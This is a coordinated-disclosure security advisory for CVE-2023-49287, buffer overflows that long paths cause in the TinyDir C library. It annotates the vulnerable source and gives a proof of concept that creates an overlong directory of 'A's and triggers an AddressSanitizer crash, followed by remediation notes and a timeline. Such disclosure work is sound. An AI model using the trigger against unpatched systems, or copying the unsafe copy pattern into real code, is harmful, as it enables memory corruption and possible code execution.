--[ HNS-2023-04 - HN Security Advisory - https://security.humanativaspa.it/ * Title: Buffer overflow vulnerabilities with long path names in TinyDir * Product: TinyDir <= 1.2.5 * Author: Marco Ivaldi * Date: 2023-12-04 * CVE ID: CVE-2023-49287 * Severity: High - 7.7 - CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H * Vendor URL: https://github.com/cxong/tinydir * Advisory URL: https://github.com/cxong/tinydir/security/advisories/GHSA-jf5r-wgf4-qhxf --[ 0 - Table of contents 1 - Summary 2 - Background 3 - Vulnerabilities 4 - Proof of concept 5 - Affected products 6 - Remediation 7 - Disclosure timeline 8 - Acknowledgements 9 - References --[ 1 - Summary "This is the OG we all want to be, congrats on 20yrs of (public) vulns!" -- Erik Cabetas TinyDir is a lightweight, portable and easy to integrate C directory and file reader. It wraps dirent for POSIX and FindFirstFile for Windows. We reviewed TinyDir's source code hosted on GitHub [1] and identified some security vulnerabilities that may cause memory corruption. Their impacts range from denial of service to potential arbitrary code execution. --[ 2 - Background While auditing another codebase, we noticed that it included TinyDir. Since this small but successful project is used in hundreds of repositories [2], we decided to review it in search of security bugs. --[ 3 - Vulnerabilities We spotted some buffer overflow vulnerabilities with long path names in the tinydir_file_open() function, at the marked locations in the following source code listing: ```c /* Open a single file given its path */ _TINYDIR_FUNC int tinydir_file_open(tinydir_file *file, const _tinydir_char_t *path) { tinydir_dir dir; int result = 0; int found = 0; _tinydir_char_t dir_name_buf[_TINYDIR_PATH_MAX]; _tinydir_char_t file_name_buf[_TINYDIR_FILENAME_MAX]; _tinydir_char_t *dir_name; _tinydir_char_t *base_name; #if (defined _MSC_VER || defined __MINGW32__) _tinydir_char_t drive_buf[_TINYDIR_PATH_MAX]; _tinydir_char_t ext_buf[_TINYDIR_FILENAME_MAX]; #endif if (file == NULL || path == NULL || _tinydir_strlen(path) == 0) { errno = EINVAL; return -1; } if (_tinydir_strlen(path) + _TINYDIR_PATH_EXTRA >= _TINYDIR_PATH_MAX) { errno = ENAMETOOLONG; return -1; } /* Get the parent path */ #if (defined _MSC_VER || defined __MINGW32__) #if ((defined _MSC_VER) && (_MSC_VER >= 1400)) errno = _tsplitpath_s( path, drive_buf, _TINYDIR_DRIVE_MAX, dir_name_buf, _TINYDIR_FILENAME_MAX, file_name_buf, _TINYDIR_FILENAME_MAX, ext_buf, _TINYDIR_FILENAME_MAX); #else _tsplitpath( path, drive_buf, dir_name_buf, file_name_buf, ext_buf); /* VULN: potential buffer overflow due to insecure splitpath() API (https://learn.microsoft.com/en-us/cpp/c-runtime-library/reference/splitpath-wsplitpath?view=msvc-170) */ #endif if (errno) { return -1; } /* _splitpath_s not work fine with only filename and widechar support */ #ifdef _UNICODE if (drive_buf[0] == L'\xFEFE') drive_buf[0] = '\0'; if (dir_name_buf[0] == L'\xFEFE') dir_name_buf[0] = '\0'; #endif /* Emulate the behavior of dirname by returning "." for dir name if it's empty */ if (drive_buf[0] == '\0' && dir_name_buf[0] == '\0') { _tinydir_strcpy(dir_name_buf, TINYDIR_STRING(".")); } /* Concatenate the drive letter and dir name to form full dir name */ _tinydir_strcat(drive_buf, dir_name_buf); dir_name = drive_buf; /* Concatenate the file name and extension to form base name */ _tinydir_strcat(file_name_buf, ext_buf); /* VULN: since sizeof(file_name_buf) + sizeof(ext_buf) is larger than sizeof(file_name_buf), we have a potential stack buffer overflow */ base_name = file_name_buf; #else _tinydir_strcpy(dir_name_buf, path); dir_name = dirname(dir_name_buf); _tinydir_strcpy(file_name_buf, path); /* VULN: since sizeof(file_name_buf) is smaller than the maximum path length, we have a potential stack buffer overflow */ base_name = basename(file_name_buf); #endif /* Special case: if the path is a root dir, open the parent dir as the file */ #if (defined _MSC_VER || defined __MINGW32__) if (_tinydir_strlen(base_name) == 0) #else if ((_tinydir_strcmp(base_name, TINYDIR_STRING("/"))) == 0) #endif { memset(file, 0, sizeof * file); file->is_dir = 1; file->is_reg = 0; _tinydir_strcpy(file->path, dir_name); file->extension = file->path + _tinydir_strlen(file->path); return 0; } /* Open the parent directory */ if (tinydir_open(&dir, dir_name) == -1) { return -1; } /* Read through the parent directory and look for the file */ while (dir.has_next) { if (tinydir_readfile(&dir, file) == -1) { result = -1; goto bail; } if (_tinydir_strcmp(file->name, base_name) == 0) { /* File found */ found = 1; break; } tinydir_next(&dir); } if (!found) { result = -1; errno = ENOENT; } bail: tinydir_close(&dir); return result; } ``` --[ 4 - Proof of concept Step-by-step instructions to replicate the third vulnerability on Linux: ``` $ git clone https://github.com/cxong/tinydir $ cd tinydir/samples/ $ gcc -g -fsanitize=address -I.. file_open_sample.c -o file_open_sample $ mkdir -p AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/ $ ./file_open_sample AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Path: ./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Extension: Is dir? yes Is regular file? no $ ./file_open_sample AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/ ================================================================= ==2533==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffd1ecabeb0 at pc 0x7f37b22544bf bp 0x7ffd1ecaac10 sp 0x7ffd1ecaa3b8 WRITE of size 513 at 0x7ffd1ecabeb0 thread T0 #0 0x7f37b22544be in __interceptor_strcpy ../../../../src/libsanitizer/asan/asan_interceptors.cpp:440 #1 0x5625cf301b69 in tinydir_file_open ../tinydir.h:711 #2 0x5625cf3021f4 in main /home/raptor/tinydir/samples/file_open_sample.c:12 #3 0x7f37b1e29d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 #4 0x7f37b1e29e3f in __libc_start_main_impl ../csu/libc-start.c:392 #5 0x5625cf3004e4 in _start (/home/raptor/tinydir/samples/file_open_sample+0x24e4) Address 0x7ffd1ecabeb0 is located in stack of thread T0 at offset 4704 in frame #0 0x5625cf3018c3 in tinydir_file_open ../tinydir.h:641 This frame has 3 object(s): [48, 4184) 'dir' (line 642) [4448, 4704) 'file_name_buf' (line 646) [4768, 8864) 'dir_name_buf' (line 645) <== Memory access at offset 4704 partially underflows this variable HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork (longjmp and C++ exceptions *are* supported) SUMMARY: AddressSanitizer: stack-buffer-overflow ../../../../src/libsanitizer/asan/asan_interceptors.cpp:440 in __interceptor_strcpy Shadow bytes around the buggy address: 0x100023d8d780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100023d8d790: 00 00 00 00 00 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 0x100023d8d7a0: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 0x100023d8d7b0: f2 f2 f2 f2 f2 f2 00 00 00 00 00 00 00 00 00 00 0x100023d8d7c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x100023d8d7d0: 00 00 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2 00 00 0x100023d8d7e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100023d8d7f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100023d8d800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100023d8d810: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100023d8d820: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==2533==ABORTING ``` --[ 5 - Affected products TinyDir 1.2.5 and earlier versions are affected by the vulnerabilities discussed in this advisory. --[ 6 - Remediation TinyDir developers have released version 1.2.6 [3] that addresses the vulnerabilities discussed in this advisory. Please check the official TinyDir channels for further information about fixes. --[ 7 - Disclosure timeline 2023-11-30: Vulnerabilities reported via GitHub security advisories [4]. 2023-12-01: Proof of concept provided at the request of TinyDir developers. 2023-12-02: Vulnerabilities fixed in TinyDir's master branch on GitHub. 2023-12-03: TinyDir 1.2.6 released and GitHub advisory published. 2023-12-04: GitHub issued CVE-2023-49287 and we published this advisory. --[ 8 - Acknowledgements We would like to thank TinyDir developers for triaging and quickly fixing the reported vulnerabilities. --[ 9 - References [1] https://github.com/cxong/tinydir [2] https://github.com/search?q=tinydir.h&type=code [3] https://github.com/cxong/tinydir/releases/tag/1.2.6 [4] https://github.com/cxong/tinydir/security Copyright (c) 2023 Marco Ivaldi and Humanativa Group. All rights reserved.